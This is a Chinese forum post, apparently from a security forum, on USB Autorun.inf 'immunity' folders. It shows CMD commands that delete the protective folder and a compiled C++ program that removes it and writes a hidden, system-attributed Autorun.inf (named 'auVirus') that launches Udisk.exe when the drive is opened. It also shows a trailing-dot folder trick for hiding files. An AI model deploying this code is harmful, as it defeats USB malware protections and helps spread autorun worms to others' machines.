因为牵涉到编程。所以只有发到这里来了!!!
此文章以前:是本人学做Web 页;发布自己以前的DOS版 C++学院管理系统,副带的U盘谈论!!
纯属娱乐(),原版是html 格式的!! 现在我将其中一部份处理出来! 如下:
下面我再跟大家谈谈<U盘病毒吧>
U盘相信大家都知道这个小巧方便的好东西了吧,
现在的存储介质已经从大象变成蚂蚁了,集成度也是相当高了!
呵呵.硬件我现在就不谈了,下面我拿U盘来做个小实验!
Hardware: PC一台&&U盘一个.
Software: windows2003(OS操作系统)&&一个U盘防毒软件.
首先我用U盘防毒软件对U盘防御一次
如图:
它在我的U盘根目录生成了一个Autorun.inf文件夹并且该文件夹里面还有一个无法删除
无法直接操作的免疫目录..
它的Autorun.inf防毒原理是什么呢?就是利用windows命名规则!
同一空间不能有完全相等的字符串命名!Autorun.inf文件夹里面为什么要建立一个
无法删除及操作的免疫目录..呢?它的主要目的是不让Autorun.inf文件夹被删除!
这里谈到无法操作删除的免疫目录..就要联想到文件夹加密,初步了解些加密软件其原理都大部分都是依赖windows的一些规则!
还记得上图不能删除的免疫目录..吗?当真不能删除吗?当然可以删除并且非常easy!
只需借助一个cmd命令提示符 ,
再开始菜单上打开命令提示符或者在运行框输入CMD!
然后:
I:(进入I:盘(这里I:盘是我的U盘盘符))
cd Autorun.inf (进入Autorun.inf文件夹)
rd 免疫目录...\(删除文件夹)
这里问什么要rd 免疫目录...\呢?因为直接删除是删不掉的!
打个简单的比方吧。它建立的时候是md 免疫目录...\这样的,我们删除当然也要同理!
md XX..\是啥意思呢?
XX是新建的文件夹名,
..\这里的\是路径,意思是告诉\前面的是一个文件夹!
好比md ok\a,这里的 md ok\a是建立了一个路径ok\a,告诉md ok是目录!
而windows命名规则不允许前一是.后一. ,比如.name.这样的命名是不合法的,.都会被忽略掉,而利用\就可以了 这是在命令提示符下!
现在我们又回到md xx..\了,
现在我打开CMD测试一下
e: (在e:测试吧)
md test..\(建立一个test.文件夹,\是告之之前是目录,最后一个.被忽略掉了)
试试别用..\删除,好像不能直接删除吧!甚至不能操作!
呵呵,既然我们建立了这个文件夹那当然要有及用处嘛!不然建这个不是做无用功!
下面我们就来用它放数据,
下面我把E盘的test.txt放到test.里,直接拖拉是不行的我们来copy吧
还是用dos命令
copy test.txt test..\
成功复制1个文件
这个时候我们再点击test.文件夹还是不能打开查看的,因为test.文件夹是指向test文件夹的。因为没有test文件夹所以不能打开查看!大家是不是越听越糊涂啊?
没关系做个实验:
md test(建立一个test文件夹)
这个时候再双击打开test.文件夹,相信大家能打开了吧!但是里面没有test.txt文件啊!
别急!test.是指向test文件夹的!当然打开test.文件夹就相当于test文件夹
test文件夹什么东西都没。那么打开test.指向也就什么都没有啊 !
那么刚才的test.txt到哪去了呢?它还是在test.文件夹里!我说过了双击打开test.是打开test文件夹.那么打开test.就应该建立一个test..文件夹!
md test...\(建立一个test..文件夹)
这个时候打开test..是不是看到了test.txt!
呵呵 接下来再把test..文件夹删除了,test.txt也就无法查看了 ,但是test.txt还没被删除哦,你删除的只是test..指向文件夹,真正的test.txt在test.里面!
如果你想要查看test.文件夹里面的内容,就新建个test..文件夹吧!是不是有点那么加密的意思啊 ?其实 这种只是障眼法并不是真正的加密!好了扯的太远了!
再回到我们的免疫目录... 我们接着说免疫目录..!
既然可以用rd 免疫目录...\删除 它!那么删除Autorun.inf文件夹当然也不成问题了
可是要是Autorun.inf有很多免疫目录..呢?难道我们先要一个一个删除完吗?
回答是不需要?我们可以借助cmd命令!呵呵对,又是命令提示符:
rd Autorun.inf /s/q 这里加了两个参数 /s删除所有,/q不提示。
意思是删除Autorun.inf本身以及子目录
就是把从Autorun.inf开始分支的树目录全删除了!是不是很方便啊 !
这样说那么它这个U盘防御是不是太脆弱了! 接下来我们用编程实现上述的操作!
这里我就用C++写个
先说明这段代码的意思吧,(代码已经过编译运行!)
首先它仿照U盘防御软件写了一个Autorun.inf\免疫目录..
然后直接破掉这个防御!写入Autorun.inf自动加载文件!
再又是一个加强防御再写一个Autorun.inf\nul防御文件夹!(此代码已经注释 之所以要用nul 是因为WINDOWS把nul 当设备看待 !)
这下强制删除不顶用了,不过还是有办法删除的 就是比删除 Autorun.inf\免疫目录..麻烦了些.
接着写了一个简单的数据隐藏,将test.txt文件隐藏在test.文件夹里!还有查看方法!其实还可以放入test.\test.\里面,这样复杂点!但是举例没
必要那么麻烦了!这只是个简单的例子,代码也不长!
代码暂时放在一边!先说Autorun.inf文件吧,它是系统自动调用的!(所以防御嘛!还是配置系统最好了!)
、autorun.inf文件分为三大部分[AutoRun] [AutoRun.Alpha] [DeviceInstall]。
[AutoRun]适用于Windows95以上系统与32位以上CD-ROM,必选。
[AutoRun.alpha]适用于基于RISC的计算机光驱,适用系统为Windows NT 4.0,可选。
[DeviceInstall]适用于Windows XP以上系统,可选。
那么我们就说这个比较通用的[Autorun]吧.
新建立一个Autorun.inf放再U盘根目录,用记事本(notepad)编辑Autorun.inf输入如下
[Autorun] (告之操作系统是[Autorun]格式 )
icon=icon.ico (前提一定要有icon.ico文件再当前目录)
接下来可以安全删除U盘了 拔出来然后再插上!
如图 : U盘图标出来了吧!这只是一个简单的显示图标功能[Autorun]还有部分其他的功能
比如添加自动运行
在Autorun.inf文件里加一行: Shell\打开\Command=Udisk.exe Shell\
你就可以看到如下结果。如果你双击U盘那么你就运行了Udisk.exe了
如图:
怎么样现在基本了解了吧。要看详细的Autorun.inf可以去网上serach!其实就是windows操作系统从中读取的数据然后处理!并不是它正的会自动运行 呵呵,其实下面的代码完全可以编译!
1.
==================Udisk.h======================
#include <windows.h> //调用系统函数用
#include <direct.h> //调用文件夹函数用
2.
==================Udisk.cpp=====================
#include "Udisk.h"
int __stdcall WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nShowCmd
)
{
char auVirus[]=" [Autorun]\r\nShell\\打开\\Command=Udisk.exe Shell\\\r\nicon=ok.ico\r\n\0";//被写入的串
const char au[]="Autorun.inf";//文件命串
HANDLE hf;//定义一个文件句柄
//=========================实现U盘防御===============
system("rmdir Autorun.inf /s/q");//强制删除先前Autorun.inf文件夹
SetFileAttributes(au,FILE_ATTRIBUTE_NORMAL);//把Autorun.inf文件特有属性先减掉
DeleteFile(au);//删除Autorun.inf文件
if(!_mkdir("Autorun.inf"))
{
}
if(!_mkdir("Autorun.inf\\免疫目录..\\"));
{
}
//=================================破掉U盘防御写入Autorun,inf文件============
system("rmdir Autorun.inf /s/q");//强制删除先前Autorun.inf文件夹
SetFileAttributes(au,FILE_ATTRIBUTE_NORMAL);//把Autorun.inf文件特有属性先减掉
//用createfile创建新文件
if(INVALID_HANDLE_VALUE==(hf=CreateFile(au, //文件名字符串
GENERIC_WRITE|GENERIC_READ,//打开模式为读加写
FILE_SHARE_READ, //于其他程序共享为读
NULL, //安全特性结构体指针
CREATE_ALWAYS, //相当于C++里的ios::out
FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM,//建立文件为只读隐藏加系统属性 只有建立新文件才有作用
0)//如果不为零,则指定一个文件句柄。新文件将从这个文件中复制扩展属性
))
{
::MessageBox(NULL,"无法创建","警告",MB_OK);
}
else
{
WriteFile(hf,auVirus,sizeof(auVirus),(unsigned long*)auVirus,NULL);//写文件需4个空字节
}
/*//===============================加强U盘防御==============
system("rmdir Autorun.inf /s/q");//强制删除先前Autorun.inf文件夹
SetFileAttributes(au,FILE_ATTRIBUTE_NORMAL);//把Autorun.inf文件特有属性先减掉
DeleteFile(au);
if(!_mkdir("Autorun.inf"))
{
}
if(!_mkdir("Autorun.inf\\nul\\"));
{
}
//=================================再次尝试破掉U盘防御写入Autorun,inf文件============
system("rmdir Autorun.inf /s/q");//强制删除先前Autorun.inf文件夹
SetFileAttributes(au,FILE_ATTRIBUTE_NORMAL);//把Autorun.inf文件特有属性先减掉
//用createfile创建新文件
if(INVALID_HANDLE_VALUE==(hf=CreateFile(au, //文件名字符串
GENERIC_WRITE|GENERIC_READ,//打开模式为读加写
FILE_SHARE_READ, //于其他程序共享为读
NULL, //安全特性结构体指针
CREATE_ALWAYS, //相当于C++里的ios::out
FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM,//建立文件为只读隐藏加系统属性 只有建立新文件才有作用
0)//如果不为零,则指定一个文件句柄。新文件将从这个文件中复制扩展属性
))
{
::MessageBox(NULL,"无法创建","警告",MB_OK);
}
else
{
WriteFile(hf,auVirus,sizeof(auVirus),(unsigned long*)auVirus,NULL);//写文件需4个空字节
}*/
//===============================把数据放入加密文件夹========================
char dataName[]="test.txt",pathName[]="test..\\test.txt";
_mkdir("test");
if(!_mkdir("test..\\"))
{
}
if(!CopyFile(dataName,pathName,0))
{
::MessageBox(NULL," ","",MB_OK);
}
//=============================查看数据=================================
if(!_mkdir("test...\\"))//数据在test..文件夹里
{
}
if(IDNO==::MessageBox(NULL,"是否继续查看test..里的秘密文件","提示",MB_YESNO))
{
if(!_rmdir("test...\\"))
{}
if(!_rmdir("test"))
{}
}
return EXIT_SUCCESS;
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!